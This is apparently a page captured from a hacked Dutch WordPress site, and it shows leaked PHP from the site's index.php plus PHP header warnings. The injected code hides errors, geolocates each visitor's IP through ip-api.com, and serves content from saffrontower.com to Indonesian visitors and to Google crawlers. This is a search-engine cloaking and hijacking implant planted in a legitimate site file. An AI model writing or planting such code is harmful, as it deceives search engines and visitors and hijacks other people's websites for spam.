error_reporting(0);
  $ip_address = $ip = $_SERVER['REMOTE_ADDR'];
  $ip_headers = [ 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_FORWARDED_FOR', 'HTTP_X_COMING_FROM', 'HTTP_COMING_FROM', 'HTTP_FORWARDED_FOR_IP', 'HTTP_X_REAL_IP' ];
  if ( ! empty ( $ip_headers ) ) { foreach ( $ip_headers as $header ) { if ( ! empty ( $_SERVER[$header] ) ) { $ip_address = trim ( $_SERVER[$header] ); $ip = explode ( ',' , $ip_address )[0]; break; } } }
  
  $hasil = json_decode ( file_get_contents ( "http://ip-api.com/json/$ip?fields=20483&key=ij36B51rjgcJLmK" ) );

  if ( $hasil->status == 'success' ) {

    $negara = $hasil->countryCode;
    $rev = $hasil->reverse;
    
    if ( $negara == 'ID' ) {

      $html = file_get_contents ( "https://saffrontower.com/" );
      exit ( $html );

    } elseif ( $rev && strpos ( $rev , 'google' ) !== false ) {

      $html = file_get_contents ( "https://saffrontower.com/" );
      exit ( $html );

    }

  }
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /var/www/vhosts/vloerenbaas.nl/httpdocs/index.php:1) in <b>/var/www/vhosts/vloerenbaas.nl/httpdocs/wp-includes/pluggable.php</b> on line <b>1435</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /var/www/vhosts/vloerenbaas.nl/httpdocs/index.php:1) in <b>/var/www/vhosts/vloerenbaas.nl/httpdocs/wp-includes/pluggable.php</b> on line <b>1438</b><br />